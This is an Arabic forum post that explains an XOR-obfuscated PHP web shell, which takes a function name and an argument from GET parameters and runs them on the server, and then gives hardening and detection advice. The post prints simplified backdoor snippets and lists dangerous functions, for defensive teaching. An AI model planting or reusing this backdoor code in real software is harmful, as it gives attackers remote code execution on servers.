خطر PHP Malware وXOR: تنفيذ دوال عن بعد وخفايا

x32x01
  • بواسطة x32x01 ||
فيه واحد فعلًا أستاذ بمعنى الكلمة كتب ملف PHP شاطر قوي - الفكرة بتاعته إنها تسمح بتنفيذ أي دالة موجودة في الـ PHP عن طريق query parameters بطريقة متخفية ومشفرة بـ XOR. النوع ده من الهجوم شبه شامل الـ RCE (Remote Code Execution) لو اتركت حاجات في السيرفر من غير حماية. ⚠️

إيه هو PHP Malware وXOR Encrypted Requests؟ 🤔

في 2017، فريق في GoDaddy لقوا حاجة زي دي - ملف بيظهر فجأة وبينشر نفسه على سيرفرات كتير، وكل شوية Requests جاية من IP خارجي بتطلب ملف معين وتبعت معاه باراميتر مشفر. لما حققوا، اكتشفوا إن الطلبات دي بتحوي أوامر بتنفذ دوال PHP على السيرفر.
الأسلوب الأساسي: تشفير نص (plaintext) بواسطة مفتاح (key) عن طريق XOR bitwise، وبعدين تنفيذ المحتوى بعد ما يتحلل داخل سكربت الـ PHP.

الفكرة التقنية ببساطة (خطوة خطوة) 🛠️


1. التشفير بالـ XOR​

الـ XOR هنا بتتعمل بين نص عادي (مثل سلسلة من الحروف) ومفتاح ثابت، والناتج هو الـ ciphertext اللي بيتنقل كـ query param. المعادلة البسيطة:
PHP:
$cipher = $plaintext ^ $key;
لو عملت نفس العملية تاني على الـ cipher بنفس الـ key هترجع الـ plaintext تاني.

2. فك التشفير داخل PHP​

الهاكر بيبعت Request زي: ?f=phpinfo&p=... لكن القيمة بتبقى مشفرة. الـ PHP على السيرفر بيحلل الباراميتر ويطبّق فك XOR علشان يرجع الاسم أو الكود، وبعدين بينفّذ الوظيفة.

3. أمثلة من الكود (مبسطة للتوضيح)​

الكود اللي شوهد بيستخدم حاجات زي:
PHP:
$_ = "]" ^ ";";
$__ = "." ^ "^";
$___ = ("|" ^ "#") . (":" ^ "}") . ("~" ^ ";") . ("{" ^ "/");

// الجزء الخطر: استدعاء دالة من مصفوفة بشكل ديناميكي
${$___}[$_](${$___}[$__]);

وبيشتغل مع مناداة من الـ GET زي:
PHP:
if (isset($_GET['p']) && isset($_GET['f'])) {
    $function = $_GET['f'];
    $parameter = $_GET['p'];
    call_user_func($function, $parameter);
    die;
}
ده معناه إن أي حد يبعث ?f=someFunction&p=someArg ممكن يخلّي السيرفر ينفذ someFunction('someArg') - لو مش محمي، يبقى خطر جدًا.

ليه الأسلوب ده خطير جدًا؟ ⚠️

  • التنفيذ الديناميكي (dynamic call) بيخلي الهاكر يقدر يستدعي دوال خطيرة زي system, eval, file_put_contents، إلخ.
  • التشفير بـ XOR يخفي الـ payload عن فحص بسيط لللوجز أو قواعد الـ IDS.
  • لو الملف ده اترفَع بالسيرفر (مثلاً عن طريق upload غير محمي)، يبقى دخول كامل على النظام ممكن يحصل بسهولة.

إزاي الملف ده وصل للسيرفر؟ (احتمالات) 🔎

  • ملف رُفع بسبب ضعف التحقق في نقاط رفع الملفات (no validation على MIME/extension أو عدم فحص الـ content).
  • استغلال ثغرة في تطبيق ويب قامت بسماح لـ attacker برفع ملف.
  • جهة داخلية (user) كانت مُخترَقَة أو عندها صلاحيات رفع ونشرت الملف.
    تحقيق الـ Incident Response هو اللي يجاوب على السؤال ده.

إزاي تحمي نفسك وموقعك؟ - خطوات عملية 🛡️


تدابير فورية​


  • منع تنفيذ الدوال الخطرة: ببساطة عطل exec, system, passthru, shell_exec, eval في php.ini إذا مش محتاجها.
  • فعل disable_functions وقلّل الصلاحيات على الـ PHP process user.

عند رفع الملفات​

  • تحقق من MIME type وامتداد الملف، ومقارنة المحتوى الفعلي (magic bytes).
  • امنع رفع ملفات قابلة للتنفيذ (.php) لمجلدات يمكن الوصول لها عبر الويب. استخدم مخازن خارجية أو مجلدات خارجة عن جذر الـ webroot.

مراقبة وكشف​

  • راقب الـ logs على مستوى الويب والسيرفر: أي requests بتبعت باراميتر طويل أو مش مفهوم (base64/XOR) يبقى مشبوه.
  • استعمل IDS/IPS وادخل قواعد تكشف محاولات RCE أو استدعاءات ديناميكية لـ call_user_func.
  • راقب حسابات الـ cron والـ permissions على الملفات (تغيرات واجبة الانتباه).

نسخ احتياطية واستجابة للحوادث​

  • نسخ احتياطية منفصلة وغير متصلة (offline backups).
  • خطة IR جاهزة: عزّل السيرفر المصاب، خُد دَمب للـ memory وـ disk، وابدأ تحقيق رقمي (forensics).

نصيحة للمطورين: لا تثق بأي input أبداً 🚫

أبسط قاعدة: لو اليوزر يقدر يبعت بيانات، اعتبرها عدوانية. دايمًا اعمل:
  • فلترة (sanitize) للمدخلات.
  • التحقق من أنواع الملفات.
  • حدّ من الصلاحيات (least privilege).
غلطة بسيطة في Upload ممكن تبوظ الدنيا كلها.


🔚 الـ PHP Malware اللي بيعتمد على XOR Requests ذكي جدًا ومخادع، لكن مش مستحيل يتوقف. الوقاية والـ monitoring هما سلاحك الأساسي. لو انت مطور أو مدير سيرفر، ابدأ فورًا بتشديد سياسات رفع الملفات، تعطيل الدوال الخطرة، ومراقبة اللوجز بتركيز - وحتنام أحسن! 😌
4490.jpg
 
التعديل الأخير:
المواضيع ذات الصلة
x32x01
الردود
0
المشاهدات
542
x32x01
x32x01
x32x01
الردود
0
المشاهدات
636
x32x01
x32x01
x32x01
الردود
0
المشاهدات
582
x32x01
x32x01
x32x01
الردود
0
المشاهدات
773
x32x01
x32x01
x32x01
الردود
0
المشاهدات
159
x32x01
x32x01
x32x01
الردود
0
المشاهدات
218
x32x01
x32x01
x32x01
الردود
0
المشاهدات
362
x32x01
x32x01
x32x01
الردود
0
المشاهدات
736
x32x01
x32x01
x32x01
الردود
0
المشاهدات
449
x32x01
x32x01
x32x01
الردود
0
المشاهدات
602
x32x01
x32x01
الدخول أو التسجيل السريع
نسيت كلمة مرورك؟
إحصائيات المنتدى
المواضيع
1,831
المشاركات
2,028
أعضاء أكتب كود
463
أخر عضو
adil
عودة
أعلى